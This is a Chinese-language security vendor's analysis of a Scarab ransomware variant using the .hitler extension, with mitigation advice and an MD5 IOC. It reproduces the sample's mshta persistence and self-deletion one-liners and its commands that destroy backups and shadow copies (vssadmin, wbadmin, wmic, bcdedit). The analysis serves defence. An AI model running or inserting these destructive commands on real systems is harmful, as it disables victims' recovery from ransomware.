前言
深信服EDR安全团队跟踪了Scarab勒索病毒的最新变种,该变种文件加密后缀为.hitler,有趣的是,希特勒对应的英文就是hitler,算是莫名躺枪了。
通常,Scarab勒索病毒是利用Necurs僵尸网络进行传播的,Necurs是世界上最大的僵尸网络之一,曾用于传播多个恶意家族样本。最近一段时间,发现Scarab勒索病毒还会通过RDP爆破+人工、捆绑软件的方式进行传播。
下图,是此变种的勒索信息。
一、功能概述
此Scarab变种,其功能流程大致如下,依次分别为伪装录屏、屏幕快照、内存解密、设置启动、自删除、删除卷影、杀进程、遍历加密、勒索弹窗。
伪装录屏,是为了骗过安全软件,让其误以为是一个正常的录屏软件。此外,还截图了屏幕快照。与多数病毒一样,此勒索变种同样会设置启动,做持久化操作,也会做自删除的动作。为了保证数据不可恢复,同时也做了删除卷影的操作。
此外,此勒索病毒会杀掉多数的系统进程、应用进程、杀掉进程,最后遍历文件夹,做加密。所有的文件加密成功后,弹出勒索信息。
二、详细分析
查壳,母体样本使用的是UPX加壳:
样本使用了详细的文件描述信息:
脱壳分析,动态调试:
录制音频:
相应的反汇编代码:
创建窗口:
获取操作系统语言版本:
设置HOOK:
抓屏操作:
启动子进程:
进行持久化操作,拷贝自身到%appdata%目录下:
拷贝之后:
然后启动%appdata%目录下的sevnz.exe程序:
解密内存相应的字符串:
通过执行mshta.exe,删除自身:
相应的命令行,如下:
mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');
setInterval(function(){try{o.DeleteFile('Scarab.exe');close()}catch(e){}},10);"
调用mshta.exe程序,设置自启动项:
相应的命令行:
mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');
x=new ActiveXObject('Scripting.FileSystemObject');
setInterval(function()
{try
{i=x.GetFile('sevnz.exe').Path;
o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce \\iyryCNqPEUF',i);
}catch(e){}
},
10);"
设置完成之后:
通过mshta.exe设置相应的注册表项:
将相应的删除系统备份,磁盘卷影操作的命令行,设置为注册表项:
通过mshta.exe执行命令:
相应的命令行:
o=new ActiveXObject("WScript.Shell");
o.Run("cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0",0);
o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",0);
o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);
o.Run("cmd.exe /c bcdedit /set {default} recoveryenabled No",0);
o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0);
遍历进程:
发现相关的进程,则结束进程:
相关进程列表如下:
ccleaner.exe;ccleaner64.exe;tasklist.exe;taskmgr.exe;regedit.exe;anvir.exe;anvir64.exe;cscript.exe;wscript.exe;powershell.exe;procexp.exe;far.exe;agntsvc.exe;agntsvc.exeagntsvc.exe;agntsvc.exeencsvc.exe;agntsvc.exeisqlplussvc.exe;dbeng50.exe;dbsnmp.exe;excel.exe;firefoxconfig.exe;infopath.exe;isqlplussvc.exe;msaccess.exe;msftesql.exe;mspub.exe;mydesktopqos.exe;mydesktopservice.exe;mysqld.exe;mysqld-nt.exe;mysqld-opt.exe;ncsvc.exe;ocautoupds.exe;ocomm.exe;ocssd.exe;onenote.exe;oracle.exe;outlook.exe;powerpnt.exe;sqbcoreservice.exe;sqlagent.exe;sqlbrowser.exe;sqlserver.exe;sqlservr.exe;sqlwriter.exe;steam.exe;synctime.exe;tbirdconfig.exe;thebat.exe;thebat64.exe;thunderbird.exe;visio.exe;winword.exe;wordpad.exe;xfssvccon.exe;
内存解密出相应的加密字符串,然后设置为注册表项:
在内存中解密生成相应的勒索信息,用户的加密ID:
遍历文件,内存中加密相应的文件,文件名随机生成,文件后缀为hitler:
然后替换到原始的文件:
然后设置加密后的文件属性:
遍历文件的时候,会判断是否为加密文件列表中的后缀,相应的后缀列表有二百多种:
部分后缀名列表:
同时会遍历相应的文件目录,排除以下文件目录,相应的文件目录列表如下:
\$RECYCLE.BIN\;
\All Users\;
\AppData\;
\ApplicationData\;
\System Volume Information\;
\Windows\;
\intel\;
\nvidia\;
\Trend Micro\;
在加密文件的目录下,生成对应的勒索信息文本文件,然后将之前内存生成的勒索信息,写入到文件:
勒索信息文本文件HOW TO RECOVER ENCRYPTED FILES.TXT,最后通过执行notepad.exe程序,弹出相应的勒索信息,执行的命令行如下:
notepad.exe "C:\Users\panda\HOW TO RECOVER ENCRYPTED FILES.TXT"
三、解决方案
提醒广大用户做好病毒检测与防御措施,防护勒索病毒攻击。
1、及时给电脑打补丁,修复漏洞。
2、对重要的数据文件定期进行非本地备份。
3、不要点击来源不明的邮件附件,不从不明网站下载软件。
4、尽量关闭不必要的文件共享权限。
5、更改帐号密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。
6、Scarab勒索病毒最新变种会利用RDP(远程桌面协议),如果业务上无需使用RDP的,建议关闭RDP。当出现此类事件时,推荐使用深信服防火墙,或者终端检测响应平台(EDR)的微隔离功能对3389等端口进行封堵,防止扩散。
四、IOC
MD5
374F8ACCC92838939A6D3960AAB36AA0
*本文作者:千里目安全实验室,转载请注明来自FreeBuf.COM